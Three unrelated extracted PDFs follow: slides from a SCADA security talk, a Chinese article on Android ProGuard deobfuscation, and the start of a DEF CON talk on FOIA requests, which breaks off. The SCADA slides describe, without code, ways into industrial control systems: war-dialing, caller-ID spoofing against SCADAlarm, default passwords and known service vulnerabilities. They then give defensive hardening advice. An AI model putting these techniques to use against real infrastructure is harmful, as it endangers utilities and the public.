Blaster did not cause the east coast power outage Stories of “teenaged hackers” are frequently exaggerated Chinese hackers get blamed for everything from missing beer to lost homework… Dire predictions have thus far been incorrect. IDC named 2003 “the year of cyber-terrorism”, predicting that a major cyber-terrorism event would bring the internet to its knees. © 2007 Security-Assessment.com SCADA Basics So what is it actually? A SCADA system consists of central host that monitors and controls smaller Remote Terminal Units (RTUs) sprinkled throughout a plant, or in the field at key points in an electrical distribution network. The RTUs, in turn, directly monitor and control various pieces of equipment. © 2007 Security-Assessment.com SCADA Basics Components of a SCADA network – Edge Devices RTU / PLC – Reads information on voltage, flow, the status of switches or valves. Controls pumps, switches, valves. Most site control is performed by these devices automatically Data acquisition begins at the RTU or PLC level and includes meter readings, equipment reports etc Functionality is usually restricted to basic site overriding or supervisory level intervention E.g. A PLC may control the flow of water through, but the SCADA system will allow an operator to set alarm conditions, change the set points for the flow etc etc © 2007 Security-Assessment.com SCADA Basics © 2007 Security-Assessment.com SCADA Basics Components of A SCADA Network – Intermediate Layer The “Master Station” is the servers and software responsible for communicating with the field equipment and then to the HMI software generally running on workstations Data is sent from (RTU) PLCs to a Master Station where it is compiled in a way that a control room operator using the HMI can make supervisory decisions to adjust or override normal RTU (PLC) controls This may be a single computer in smaller installations or many servers in redundant clusters in larger installations Today both Master Stations and HMIs are run on all major operating system platforms: UNIX, Windows, VMS etc © 2007 Security-Assessment.com SCADA Basics Components of A SCADA Network – Management Layer A Human Machine Interface or HMI is the apparatus which presents process data to a human operator, and through which the human operator controls the process. The HMI provides a standardized way to monitor and to control multiple remote controllers, PLCs and other control devices which would usually be distributed in a way which makes manual data gathering difficult This usually takes the form of a mimic diagram. This is a schematic representation of the plant which is being controlled For example, a picture of a pump connected to a pipe can show the operator that the pump is running and how much fluid it is pumping through the pipe at the moment. The operator can then switch the pump off © 2007 Security-Assessment.com HMI – Mimic Diagram http://www.armfield.co.uk – Industrial Food Technology © 2007 Security-Assessment.com SCADA Basics Components of a SCADA network – Communications Layer This was traditionally a mix of radio and direct serial or modem connections Equipment frequently communicated via proprietary protocols carried over something like RS-485 (multipoint serial connection) This meant that those who invested in a particular hardware solution had a limited upgrade path To avoid such issues open communications protocols such as DNP3.0 (over serial or IP) became increasingly popular Open architecture SCADA systems allow a mix-and-match approach with different vendor’s hardware In the 2000s protocols such as Modbus/IP allow open interfacing © 2007 Security-Assessment.com SCADA Network Protocols Raw Data Protocols – Modbus / DNP3 For serial radio links mainly, but you can run anything over anything these days, especially TCP/IP (for better or worse) Reads data (measures voltage / fluid flow etc) Sends commands (“flip switches!”, “starts pumps!”) / alerts (“it’s broken!”) High Level Data Protocols – ICCP / OCP OLE for Process Control (OCP) used for intercommunication between heterogeneous hardware / software combinations allowing communication between devices originally not intended to be part of an industrial network Designed to send data / commands between apps / databases These protocols often bridge between office and control networks © 2007 Security-Assessment.com SCADA Basics Let’s not forget… © 2007 Security-Assessment.com SCADA Basics Let’s not forget… The operator. © 2007 Security-Assessment.com In keeping with tradition © 2007 Security-Assessment.com SCADA Basics © 2007 Security-Assessment.com SCADA Basics SCADA Networks – Past and Present These could be described as “primitive” when compared to most modern networks Proprietary Hardware & Software (Past) Manuals and procedures not widely available Closed systems considered to be immune to outside threats Interconnected Networks (Present) Utility Networks, Corporate Networks, Internet DNP3 over TCP/IP Modern stuff is susceptible to modern (or perhaps not so modern) attacks (SYN Flood, Ping of death) © 2007 Security-Assessment.com SCADA Basics Wonderware SuiteLink Denial of Service vulnerability “One third of the world’s plants run Wonderware software solutions. Having sold more than 500,000 software licenses in over 100,000 plants worldwide…” Wonderware SuiteLink Denial of Service vulnerability “a malformed packet that causes a memory allocation operation (a call to new() operator) to fail returning a NULL pointer. Due to a lack of error-checking for the result of the memory allocation operation, the program later tries to use the pointer as a destination for memory copy operation, triggering an access violation error and terminating the service.” © 2007 Security-Assessment.com SCADA Basics Wonderware SuiteLink Denial of Service vulnerability This was followed by a SERIOUSLY arduous process of notification and release “2008-03-03: Core sends proof-of-concept code written in Python. 2008-03-05: Vendor asks for compiler tools required to use the PoC code. 2008-03-05: Core sends a link to http://www.python.org where a Python interpreter can be downloaded.” © 2007 Security-Assessment.com And another one today!!! CitectSCADA ODBC service vulnerability Citect is a fully owned subsidiary of Schneider Electric, has more than 150,000 licenses of its software sold to date. Arbitrary code execution remote unauthed….! “The ODBC Server component listens on port 20222/tcp by default to service requests from clients on TCP/IP networks. The application layer protocol used over TCP reads an initial packet of 4 bytes…” “Due to a lack of a proper length checking of the read data, a memory copy operation that uses as destination a buffer of fixed size allocated in the stack “can be overflowed…” Long filename, long parameter, malformed data. Another day, another vulnerability. Same bug. Different App. © 2007 Security-Assessment.com So hot right now Lots of Research Being Published BlackHat Federal 2k6 – Maynor and Graham (ISS) – SCADA Security and Terrorism: We’re not crying wolf. Hack in the Box 2k7 – Raoul Chiesa and Mayhem – Hacking SCADA: How to 0wn Critical National Infrastructure Defcon 2k7 – Ganesh Devarajan – Unraveling SCADA Protocols: Using Sulley Fuzzer Petroleum Safety – Gresser – Hacking SCADA/SAS Systems Why is SCADA the hot topic of security? The possible ramifications of a SCADA compromise are very tangible Cyber-Enabled Terrorism is the new Chemical Warfare © 2007 Security-Assessment.com So Hot Right Now SCADA is changing From proprietary, obscure, and isolated systems Towards standard, documented and connected ones “ It's not that these guys don't know what they are doing. Part of it is that these systems were engineered 20 years ago, and part of it is that the engineers designed these things assuming they would be isolated. But--wham!--they are not isolated anymore. ” Alan Paller, director of research, SANS Institute © 2007 Security-Assessment.com SCADA (in)Security You can test the security of SCADA networks with what you know now The rest you can find on the internet You don’t need custom tools: Sulley Fuzzer, Modscan Or even detailed knowledge of technologies like OPC, RTU, PLC, MODBUS You will, however, need to know 802.11/a/b/g, VoIP, Windows, Unix, SMB, SQL, and various intelligence gathering techniques © 2007 Security-Assessment.com SCADA (in)Security You can test the security of SCADA networks with what you know now The rest you can find on the internet You don’t need custom tools: Sulley Fuzzer, Modscan Or even detailed knowledge of technologies like OPC, RTU, PLC, MODBUS You will, however, need to know 802.11/a/b/g, VoIP, Windows, Unix, SMB, SQL, and various intelligence gathering techniques Old school is good school… © 2007 Security-Assessment.com Intel Gathering Radio Frequency Scanning Scanners first became popular and widely available during CB Radio's heyday in the 1970s. The first scanners often had between four and ten channels and required a separate crystal for each frequency received. Modern programmable scanners allow hundreds or thousands of frequencies to be entered via a keypad and stored in various 'memory banks' and can scan at a rapid rate due to modern microprocessors. Scanners are often used to monitor police, fire and emergency medical services. There are several free software packages which will decode various data protocols commonly sent over radio, ie POC32 for pager messages, Shipplotter for VHF maritime band © 2007 Security-Assessment.com Intel Gathering Radio Frequency Scanning Many SCADA messages and alerts are sent over radio link SCADA monitoring and alarm systems can generally use many different communication mechanisms The pager network is a common communication mechanism due to the high availability of the pager network The problem with this is that they leak too much info in clear text which is available to anyone with… © 2007 Security-Assessment.com Intel Gathering Radio Frequency Scanning This cost $250NZD at Dick Smith Electronics across the road from our office – Uniden Bearcat92XLT © 2007 Security-Assessment.com Intel Gathering Radio Frequency Scanning Many SCADA messages and alerts are sent over radio link SCADA monitoring and alarm systems can generally use many different communication mechanisms The pager network is a common communication mechanism due to the high availability of the pager network The problem with this is that they leak too much info in clear text which is available to anyone with… So what can information can be gathered? © 2007 Security-Assessment.com Intel Gathering State of the System © 2007 Security-Assessment.com Intel Gathering Software Used © 2007 Security-Assessment.com Intel Gathering Dial-Up Numbers for System Control??????? © 2007 Security-Assessment.com Intel Gathering Information Leaking “SCADAlarm™ alarm and event-notification software provides a telecommunications link to industrial automation software systems. Based on the Microsoft® Windows® operating system, SCADAlarm enables real-time intelligent alarm and event notification, data acquisition capabilities and remote control. SCADAlarm provides an open, easy to configure interface for constant monitoring and communication with processes regardless of location.” – http://us.wonderware.com/products/scadalarm/ “Users can listen to and acknowledge alarms, change set points, hear exact values of variables, and operate equipment via telephone from remote locations, saving valuable time and money.” © 2007 Security-Assessment.com Intel Gathering Information Leaking SCADAlarm provides an IVR SCADA control system This is an invaluable attack vector. Remote access to control software via the telephone networks allows manipulation of a SCADA network from the safety of an attackers bedroom Authentication (if enabled) is done via caller ID Modern VoIP techniques allow relatively trivial caller ID spoofing making this reasonably trivial to bypass © 2007 Security-Assessment.com Intel Gathering Information Leaking SCADAlarm provides an IVR SCADA control system This is an invaluable attack vector. Remote access to control software via the telephone networks allows manipulation of a SCADA network from the safety of an attackers bedroom Authentication (if enabled) is done via caller ID Modern VoIP techniques allow relatively trivial caller ID spoofing making this reasonably trivial to bypass Broadcasting in clear-text over radio the number of the system to dial for remote control of your SCADA systems seems like a bad idea... What else can be found via the Plain Old Telephone System??? © 2007 Security-Assessment.com Intel Gathering War-Dialing The ancient art of dialing lots of numbers to see what’s on the other end The name for this technique originated in the 1983 film WarGames. In the film, the protagonist programs his computer to dial every telephone number in Sunnyvale, CA in order to find other computer systems. Traditionally numbers are dialed in large blocks in order to enumerate computers, modems, and other systems © 2007 Security-Assessment.com Intel Gathering War-Dialing There are several free software solutions which can be used to perform war-dialing for intelligence gathering purposes Tone-Loc – The original war-dialer THC Scan – written by Van Hauser. Scans for carriers, tones and faxes. Hard to configure with multiple modems Next Generation War Dialing © 2007 Security-Assessment.com Intel Gathering War-Dialing There are several free software solutions which can be used to perform war-dialing for intelligence gathering purposes Tone-Loc – The original war-dialer THC Scan – written by Van Hauser. Scans for carriers, tones and faxes. Hard to configure with multiple modems Next Generation War Dialing – VOIP iWAR - http://www.softwink.com/iwar/ Hai2IVR – http://storm.net.nz/projects/22 © 2007 Security-Assessment.com iWar – The Intelligent Wardialer iWar in standard serial mode dialing one number at a time, detecting carriers, recording and checking banners. © 2007 Security-Assessment.com Hai2IVR © 2007 Security-Assessment.com Intel Gathering And the results???? © 2007 Security-Assessment.com Intel Gathering And the results???? Direct un-authed connection to SCADA systems? Surely not… © 2007 Security-Assessment.com New York Wardial +1212-777-XXXX © 2007 Security-Assessment.com Let’s own some infrastructure Scada hacking for the practical security consultant © 2007 Security-Assessment.com Pay to hack, Hack to pay Company X: Poorly secured wireless allowed access to Corporate Internal Corporate Network was found to be one large flat network Direct Access to SCADA systems from corporate desktop LAN SCADA management systems unpatched windows hosts Several dial-in lines to SCADA communcations processors were discovered Default manufacturer passwords provided access to several SCADA systems © 2007 Security-Assessment.com SCADA Hacking © 2007 Security-Assessment.com SCADA Hacking © 2007 Security-Assessment.com SCADA (in)Security From these examples what general conclusions can we draw? © 2007 Security-Assessment.com SCADA (in)Security It’s a Brave New Interconnected World It was a commonly held belief that SCADA networks were isolated In reality there are frequently NUMEROUS connections Dial-in networks, radio backdoors, wireless, LAN connections, dual-homing via support laptops, connected to corporate LAN for ease of management and convenient data flow © 2007 Security-Assessment.com SCADA (in)Security Insecure By Design Anonymous services - telnet/ftp (no users remember?) Passwords default or simple, NEVER changed Access controls not used as Firewalls cause delays which can impact responses which must happen in real-time All protocols clear-text. Speed more important confidentiality © 2007 Security-Assessment.com SCADA (in)Security Lack of Authentication I don’t mean lack of strong authentication. I mean NO AUTH!! There’s no “users” on an automated system OPC on Windows requires anonymous login rights for DCOM (XPSP2 breaks SCADA because anonymous DCOM off by default) Normal policies regarding user management, password rotation etc etc do not apply © 2007 Security-Assessment.com SCADA (in)Security Can’t Patch, Won’t patch SCADA systems traditionally aren’t patched Install the system, replace the system a decade later Effects of patching a system can be worse than the effects of compromise? Very large vulnerability window © 2007 Security-Assessment.com Just Misunderstood SCADA has a different security model to traditional IT Networks © 2007 Security-Assessment.com The Way Forward Good things happening in SCADA security There are a growing number of standards in SCADA Security Some excellent practical guides a la NIST from NSA and other critical infrastructure groups. Let’s do some good! © 2007 Security-Assessment.com Securing SCADA Securing Your SCADA Not an all-inclusive list!! Lots of good information online Much of it is common sense / Industry Best Practice Some practical steps… © 2007 Security-Assessment.com Securing SCADA Identify All Connections to SCADA Networks © 2007 Security-Assessment.com Securing SCADA Identify All Connections to SCADA Networks Internal LAN, WAN connections, including business networks The Internet Wireless network devices, including radio, satellite etc Modem or dial-up connections Connections to vendors, regulatory services or business partners © 2007 Security-Assessment.com Securing SCADA Identify All Connections to SCADA Networks Internal LAN, WAN connections, including business networks The Internet Wireless network devices, including radio, satellite etc Modem or dial-up connections Connections to vendors, regulatory services or business partners Conduct a thorough risk analysis to assess the risk and necessity of each connection to the SCADA network Develop a comprehensive understanding of how these connections are protected © 2007 Security-Assessment.com Securing SCADA Disconnect Unnecessary Connections to SCADA Networks © 2007 Security-Assessment.com Securing SCADA Disconnect Unnecessary Connections to SCADA Networks Isolate the SCADA network from other network connections to get the highest degree of security possible. While connections to other networks allow efficient and convenient passing of data, it’s simply not worth the risk. Utilisation of DMZs and data warehousing can facilitate the secure transfer of data from SCADA to business networks. © 2007 Security-Assessment.com Securing SCADA Conduct Physical Security Surveys © 2007 Security-Assessment.com Securing SCADA Conduct Physical Security Surveys Any location which has a connection to the SCADA network must be considered a target (especially unmanned or unguarded sites) Inventory access points. This includes: Remote telephone Cables / Fiber Optic Links that could be tapped Terminals Wireless / Radio © 2007 Security-Assessment.com Securing SCADA Conduct Physical Security Surveys Any location which has a connection to the SCADA network must be considered a target (especially unmanned or unguarded sites) Inventory access points. This includes: Remote telephone Cables / Fiber Optic Links that could be tapped Terminals Wireless / Radio Ensure that this includes ALL remote sites connected to the SCADA network © 2007 Security-Assessment.com Remember This Guy? Conduct Physical Security Surveys © 2007 Security-Assessment.com Securing SCADA Intrusion Detection and Incident Response To be able to respond to cyber-attacks you need to be able to detect them Alerting of suspicious activity for network administrators is essential Logging on all systems Incident response procedures must be in place to allow effect response to an attack © 2007 Security-Assessment.com Securing SCADA Conduct penetration testing There’s no substitute for having an actual human attempt an intrusion into your network Implement: Firewalls Intrusion Detection / Prevention Systems (IDS/IPS) Vulnerability Assessment Regular Audits © 2007 Security-Assessment.com Securing SCADA SCADA IDS/Firewall – Industrial Defender Rebranded Fortigate with twist of SCADA Understands DNP3, MODBUS Big red button for turn off all controls in event of emergency Fancy box © 2007 Security-Assessment.com Securing SCADA SCADA IDS/Firewall – Industrial Defender Rebranded Fortigate with twist of SCADA Understands DNP3, MODBUS Big red button for turn off all controls in event of emergency Fancy box IPS functionality as Virtual Patching!! © 2007 Security-Assessment.com Securing SCADA SCADA IDS/Firewall – Industrial Defender Rebranded Fortigate with twist of SCADA Understands DNP3, MODBUS Big red button for turn off all controls in event of emergency Fancy box IPS functionality as Virtual Patching!! © 2007 Security-Assessment.com Securing SCADA Harden Your SCADA Networks! © 2007 Security-Assessment.com Securing SCADA Harden Your SCADA Networks! SCADA control servers built on commercial or open-source operating systems frequently run default services This issue is compounded when SCADA networks are interconnected with other networks Remove unused services especially those involving internet access, email services, remote maintenance etc Work with SCADA vendors in order to indentify (in)secure configurations © 2007 Security-Assessment.com Securing SCADA Harden Your SCADA Networks! SCADA control servers built on commercial or open-source operating systems frequently run default services This issue is compounded when SCADA networks are interconnected with other networks Remove unused services especially those involving internet access, email services, remote maintenance etc Work with SCADA vendors in order to indentify (in)secure configurations The NSA have a some useful guidelines in this area © 2007 Security-Assessment.com Securing SCADA Implement Security feature provided by SCADA vendors While most older SCADA systems have no security features newer SCADA systems often do © 2007 Security-Assessment.com Securing SCADA Implement Security feature provided by SCADA vendors While most older SCADA systems have no security features newer SCADA systems often do More often than not though, these are turned off by default for ease of installation Factory defaults often provide maximum usability and minimum security Ensure that strong authentication is used for communications. Connections via modems, wireless, and wired networks represent a significant vulnerability to SCADA networks © 2007 Security-Assessment.com Securing SCADA Implement Security feature provided by SCADA vendors While most older SCADA systems have no security features newer SCADA systems often do More often than not though, these are turned off by default for ease of installation Factory defaults often provide maximum usability and minimum security Ensure that strong authentication is used for communications. Connections via modems, wireless, and wired networks represent a significant vulnerability to SCADA networks. ^^^^ Successful war-dialing / war-driving could by pass all other access controls!!!!@#$@#$ © 2007 Security-Assessment.com Securing SCADA "The threat from a Red Team is real... If someone exposes a control system security flaw, I’ll make my best effort to patch it in a timely fashion. But I’m not capable of hardening our system to the point where I can anticipate and deal with such attacks. In the scheme of every day threats, this one doesn’t rate. We’re paid to defend against the likely and knowable threats – not the possibility of attack by a nation state. I can’t harden my control system against another nation state. I can’t put our operators through that degree of security. I have to worry about the lower tech approaches first. Who can get at the UPS for example… We don’t have guards with submachine guns and flak vests guarding our plants. We don’t have military grade security software either. That’s what we pay taxes for. I hate to say this, …I have other far more likely scenarios to worry about.” ---Jake Brodsky http://www.wsscwater.com/ © 2007 Security-Assessment.com Securing SCADA All the good stuff that you know and love… (with catch phrases that you’ve heard a million times before) Backups / Disaster Recovery Background checks Limit network access (principle of least privilege) Defense-in-depth Training for staff (avoid social engineering) © 2007 Security-Assessment.com SCADA Pen-Testing Any access to internal network at all can be escalated to full control of SCADA No sophisticated attacks required Poor, missing, weak or reused passwords Plenty of helpful documentation lying around Physical access to network ports = SCADA Security separation controls administered from less trusted corporate side Firewalls, routers, switches (VLANs) Phones! © 2007 Security-Assessment.com Extra Credit: Phone System © 2007 Security-Assessment.com Securing SCADA Don’t Rely on Security Through Obscurity Some SCADA systems use unique, proprietary protocols Relying on these for security is not a good idea Demand that vendors disclose the nature of vendor backdoors or interfaces to your SCADA systems Demand that vendors provide systems that can be secured! © 2007 Security-Assessment.com Conclusion IMHO, the threat of SCADA-based attacks are overblown today, but will become more serious in the coming years. The FUD shouldn’t be overwhelming This is not something asset owners can do on their own! It is something that vendors need to address based on pressure from asset owners and regulatory agencies. © 2007 Security-Assessment.com Thanks This would not have been possible without: Bunny Brixton Krusher Sham Metlstorm Many thanks to SoSD SLi SA.com Questions? © 2008 Security-Assessment.com http://www.security-assessment.com morgan@security-assessment.com
pdf
Android Proguard 混淆对抗之我见 关于何为 Proguard,可以参考 GuardSquare 官网其优化业务及 Wikipedia 相关条目. Proguard:https://www.guardsquare.com/proguard Wikipedia:https://en.wikipedia.org /wiki/ProGuard 局部敏感哈希与 Proguard 混淆对抗 2017 年 6 月,Richard Baumann 发表了标题为"Anti-ProGuard: Towards Automated Deobfuscation of Android Apps"(DOI:10.1145/3099012.3099020)的论文,其旨在利用 SimHash 算法 实现对 Apk 的自动化反混淆.关于何为 SimHash,简要来讲可以理解为可用之计算两个文本片段相似度的 算法,此处不再进行具体阐述,可以参考 Google 在 2007 年发表的论文"Detecting Near-Duplicates for Web Crawling" (DOI:10.1145/1242572.1242592). 论文第二部分中,其强调 Proguard 对 Apk 进行 Obfuscating 的过程是多个 Transformation 的集 合,论文设欲混淆工程为 P,而 P 可看作同时包含多个对象的对象集合,对象集合中包含的对象与未混淆之 工程中的类,方法,成员一 一存在映射关系,作者统一称这些对象为 S.即 P={S1,S2,S3...}, 经过 Proguard 混淆后的工程设之为 P',而 Proguard 的混淆过程可看作一个能够传入任意量的 Transformation 函数 T(x),即 P'= {T(S1),T(S2),T(S3)...}.可见论文强调整个混淆过程为对整个未混淆工 程中各个元素进行转换的总和(事实上也确实如此),而该思想在接下来的分析中也会多次得到体现. 而论文中的第三部分正式进入到自动化反混淆的实现部分,但由于论文中阐述的实现思路略去了很 多细节,故下文不以论文进行分析,而 Richard Baumann 已经将自动化方案落地,在其 Github 账户 ohaz 下即可找到对应的 POC 项目(论文中并未给出其实现的项目地址,而该项目的首次 commit 时间最早为 2016 年, 即早于论文发布时间).接下来以该项目具体分析自动化反混淆的实现思路. https://github.com /ohaz/antiproguard 作者在其项目 README 文件上简述了工具的基本使用,需要引起注意的是其工具的 --sb -t 参数与 -d 参数,其前者用于指定一个未被混淆的 Apk,并将未混淆 Apk 之包,类,方法名及其对应的方法实体逐一 抽离提取,存入数据库,后者为反混淆的进行指定一个欲反混淆的 Apk. 由于篇幅限制,下文仅对项目最核心的算法部分进行分析,并在分析前假设一个前提:数据库中已经填 充了足够多的未混淆 Apk. 项目中 antiproguard.py 申明了一个关键方法 compare ,该方法用于将传入的欲分析方法实体(被混 淆)与数据库中储存的各个方法实体(未混淆)分别进行相似度对比,并依据相似度对比结果判断是否生成 一个 hint ,该生成的 hint 将作为辅助分析其他被混淆方法实体的依据. 可见在 compare 方法内,程序分别对被混淆方法实体分别生成了三个不同的 SimHash 值,而经过后续验证,这三个 SimHash 的产生均与方法实体所对应的操作码串有高度关联, 则此三个 SimHash 值的关系可以下图进行表达. 由上图不难得知这三个 SimHash 值与被混淆方法实体的关联强度有关,并按照关联强度以由大到小 的顺序排列. 接着该三值分别与数据库中的未混淆方法实体对应产生的此三个 SimHash 值以论文中提到 的如下方式分别进行一次计算: SimHash 结合汉明距离,该计算方式得出的结果可抽象理解为两个方法实体的相似程度,接着程序判 断计算出的相似程度是否大于 90%,若超过该值,则判断该被混淆方法实体与正在与之进行对比的未混淆 方法实体高度相似,此时即可为下一次 compare 的调用产生一个 hint ,根据该 hint 以加快识别其他方法 实体相似程度的速度,此处不再对 hint 更进一步分析. 而最终程序将对所有经过 compare 方法确定的与数据库中未混淆的方法实体产生对应关系的被混淆 的方法实体进行批量重命名,将其方法名'还原'为数据库中对应的未混淆方法实体的对应方法名,简而言 之, compare 方法负责确定被混淆方法与数据库中的那个未混淆方法具有强相关的关系. 如果已经理解了 compare 方法,不难看出 compare 方法与反混淆之精细程度有着直接关系,同时也不 难得出该反混淆方案的本质.既已分析过关键方法,剩下的分析流程我仅以一图概之. 虽方案可行,但仍有局限之处,且看该论文的第四部分. 可见其选择的被测试对象均为 F-Droid 上开放源代码的项目,且这些项目至少使用了一个或多个开源 的第三方库,这些开源第三方库将在正式测试前被导入至数据库中,以启用 Proguard 优化的情况下编译 项目,以反混淆工具提供的方案处理之,虽然最终该反混淆方案正确还原的包超过了 50%,但该方案依然在 很大程度上无法胜任真正的逆向工程实战. • 其一,回顾上文对关键方法 compare 的分析,不难发现一个需求与方案实现上的冲突,即逆向工程的本 质是分析与剥离被分析对象最有价值的核心代码,而根据 compare 的实现可知其对方法实体的分析 基于数据库中数据量的多少,而能够输入数据库的数据也仅限于第三方的开源支持库(你总不能输入 一些能够还原未开源代码的数据吧,这形成了悖论). • 其二,论文第一部分明确指出,其所提出的基于相似性算法的混淆代码还原方案基于数据库中的已知 代码,而如第一点所言,能输入数据库的代码主要来源于第三方的开源支持库,故该论文提出的所谓通 用性方案仅能对本就开源但被混淆的部分进行还原. 基于以上两点假设一个理想情况,方案能够还原所有被混淆的第三方开源库代码,但需要明确的是,逆 向工程的主要对象仍是针对软件的业务代码,而市面上投放的软件其业务代码量均十分庞大(想象一下如 今用户能够从已知渠道下载的软件,其臃肿程度导致的代码量可见一斑),即使能还原所有第三方开源库代 码,对逆向工程的帮助也是微乎其微. DataFlow 分析与 Proguard 混淆对抗 不论是尝试'还原'被混淆为短字节的方法名还是以其他方式处理被 Proguard 混淆的 Apk 工程,不难 发现这些工作的本质都是尝试辅助逆向工程人员'理解'被混淆方法实体,排除无意义短字节的干扰,以减 少逆向工程中抽离出有价值代码的时间成本. 基于该思想,我曾于 21 年 4 月份编写并开源过一个项目,该项目的主旨是通过分析被混淆的成员与成 员,方法,类之间的关系,让逆向工程人员快速判断被混淆成员是否具有被分析价值,但由于当时该项目不与 任何现有工具联动,且分析对象仅针对成员,职能单一,在逆向工程中发挥的作用不大,故在今年(22 年)5 月 对部分代码重构,拓展了项目职能,目前可以与著名逆向工程工具 JADX 进行联动,且分析对象由单一的成 员拓展至方法,可通过分析欲分析方法中的参数在被标记为污点的情况下的向下传播方向,即 DataFlow 分析. https://github.com/MG1937/AntiProguard-KRSFinder 而该项目的实现本质无疑是分析整个 Apk 工程的 Dalvik 操作码,为操作码分配相应的句柄以具体处 理操作码的操作对象,并依据处理结果进一步分析 Apk 内各个类的成员与方法,生成对应的分析报告用以 联动 JADX.(关于 Dalvik 操作码,可以参考 Gabor Paller 于 2009 年提供的 Dalvik Opcodes). 像 Dalvik 虚拟机一样思考 分析 Apk 无不分析其 Dex,分析 Dex 无不 Dump 其 IR,得其 IR,何如? 正如前文所述,该项目旨在通过分析成员间关系与 DataFlow 以辅助逆向工程,然则不论如 何分析,深入到 Dex 文件其操作码总是必要的.虽从 Dex 中获取 Dalvik 操作码的方法有千百 种,但论如何处理操作码及其处理思想,固然是要引 Google 之鉴的.然则自 Android5.0 开 始,Google 就弃用 Dalvik 转而以 ART 虚拟机处理 Dex,但 ART 绝大情况下使用 AOT 技术,仅于 技术需求而言,该项目对操作码的处理思想必然要取 JIT 之鉴,故该部分将分析 Dalvik 虚拟机 处理字节码的部分实现,进以指导项目实现. 以 Android-4.0.1_r1 分支下的 Dalvik 虚拟机源码为例,Dex 实例将流入 Frontend.cpp 文件下 dvmCompileTrace 函数,该函数正是将 Dalvik 字节码转换为机器码的入口函数. 该函数不断遍历包含字节码的基本块,最终将携带 Dalvik 字节指令的 cUnit 成员引用传入 compileLoop 函数下,而 compileLoop 函数最终将引用传入 CodegenDriver.cpp 文件下的关键函数 dvmCompilerMIR2LIR , 顾名思义,此函数将 Dalvik 字节指令处理为 LIR,最终由其他方法处理 LIR 为机器 码. dvmCompilerMIR2LIR 函数下 cUnit 成员引用中携带的 Dalvik 字节码被 dexGetFormatFromOpcode 函数下处理为 dalvikFormat 成员,最终该成员被传入一个巨大的 switch-case 块中进行处理,该 switch- case 块根据 dalvikFormat 成员为 cUnit 成员分配对应的处理句柄(handle)以具体处理其携带的 Dalvik 字节码即其操作对象(即寄存器). 至此,Android4.0 Dalvik 虚拟机处理字节码的大致流程已经分析完毕,如上图流程图所示,该流程及 其 Dalvik 字节码处理思想将被运用到接下来的项目结构中. 项目实现 项目已经开源 , 可至 AntiProguard-KRSFin d e r 下 查看项目具体代码 . 基于前文对 Dalvik 虚拟机处理字节码的流程分析,基于 Dalvik 思想绘制如上流程图,该图所示流程在 项目正式开始前被作为理想流程框架用以指导项目进行,并且在已经完成的项目中其对字节码的大致处 理流程也接近该理想流程框架. 由 Dalvik 虚拟机源码下 docs 文件夹中文档的部分描述可知 Dalvik 虚拟机是基于寄存器的.故项目也 需要一个组件用以储存寄存器,该组件即为项目中 TempRegisterMap.cs 文件下的 TempRegisterMap 类.而 该组件本质上是一个 Dictionary 对象,该 组件其键为 Dalvik 操作码具体操作的寄存器其名(即 p0,v0...),其值为 TempRegister 对象,该对象即代表一 个具体的寄存器,此寄存器目前仅需要储存字符串与方法.下图为该组件大致结构. 下面部分为项目对单个 Dalvik 字节码处理部分,该部分模仿了 Dalvik 虚拟机处理字节码的模式. 上图为项目下 MethodCodeAnalyseModule.cs 文件中 MethodCodeAnalyseModule 类的 methodAnalyse 函 数,该函数为项目处理操作码的正式入口,可以看到该部分我效仿 Dalvik 虚拟机处理单个字节码的流程模 式,为即将处理的操作码分类,并为之分配处理句柄以具体解析操作码及其携带的寄存器,值得一提的是该 函数的实现并不完全与 Dalvik 虚拟机处理操作码的形式相同,在正式为操作码分配处理句柄前,我将操作 码的处理优先级以 MUST , CHECK , PASS 划分,被赋予 MUST 优先级的操作码将被优先分配处理句柄,赋予 CHECK 优先级的操作码将在检查其具体操作的寄存器是否有必要处理后再为操作码分配处理句柄,赋予 PASS 优先级的操作码将不进行任何解析,以此略去部分不必要解析的操作码,以加快整个流程的处理速 度. 在正式进入下个部分前,有必要阐述清楚函数中方法区块(以下称为块)的含义. Dex 中以 MIR 形式储存的函数不仅以多个字节码组成的串形式保存,单个函数也可被分为多个块,即 以多个块组成一个函数, 欲简单理解块,可以 ASM 中的 JMP 指令为参考,JMP 指令可以跳跃到内存中的 任意地址,而在 Dalvik 中则以块为跳跃对象,即在 Dalvik 中以块为基本单位组成执行流程.以市面上常见 的工具抽离 Dex 其操作码串,输出的结果中大多以高级语言中 Label 的形式表示函数中的块,如下图为带 有多个块的函数片段. 下面部分为项目对单个函数的处理部分. 先假设项目即将对一个函数进行处理,且该函数被分为数量未知的多个块,而上图所示流程即为项目 在该情况下的大致处理流程,假设一个理想情况,此时块与块之间没有任何指令使得程序跨块跳跃,即执行 流程从块顶部向下执行直到方法结束,那么项目将在每个块执行结束时,立刻截取当前块的寄存器集(即 TempRegisterMap 组件)快照,并且记录当前的执行路线,以寄存器集快照为引索保存每次执行路线,那么在 该执行流程下,寄存器集将以如下图情况保存. 那么此时假设块与块之间出现了一个或多个流程控制指令(如 if,goto). • 若流程控制指令为 goto 指令,项目将标记其操作对象为强行跳转目标,并继续向下执行,但不具体解 析非强行跳转目标的块,直到目标块被找到才具体对块中操作码进行解析. • 若为 if 类指令,项目将仅对其操作对象进行标记,而不令项目强行寻找目标块,正常向下执行并解析 块. 以如上两种流程控制方法尽可能覆盖到大多数由流程控制指令导致的未知数量的解析路线. 假设块与块之间出现了数量未知的 goto 指令,此时处理流程将为下图所示. 从流程上来看似乎处理过程没有太大变化,但此时构造一个在 Dalvik 执行流程上能够影响寄存器内 容的函数片段,此时且看下图处理结果. 项目对流程的控制及寄存器集快照保存的作用就在此体现,从上图给出的函数片段可知块 L1 中的 v1 寄存器为执行流程所改变,若不保存寄存器集快照,就不能够完全记录寄存器的前后变化. 上文即为项目对单个函数的大致处理流程,该部分也是项目最核心的部分,不论是成员关系分析还是 DataFlow 分析,其结果的精确度都依赖于此,更多细节不再在此文写出,至此,本文完结.
pdf
How To Get Your FBI File (and Other Information You Want From the Federal Government) DEF CON 18 July 30, 2010 What’s the FOIA? The Freedom of Information Act is a law that lets anyone ask for records from federal agencies. An agency has to give you the stuff you ask for unless it thinks that there’s a good reason not to give it to you. What are good reasons not to give it to you? Classified Law enforcement Proprietary information/trade secrets Privileged Privacy Other laws say it doesn’t have to be disclosed Internal personnel rules and practices How do you know what to ask for? Be observant. news reports press releases government reports congressional hearings etc., etc. etc. How do you know where to send your request? Figure out which agency is most likely to have the stuff you’re looking for. There may be more than one. Check the agency’s website for contact information. How do you write your request? Describe what you want as precisely as possible. Write for a lay reader. Provide supporting news articles, etc., if there are 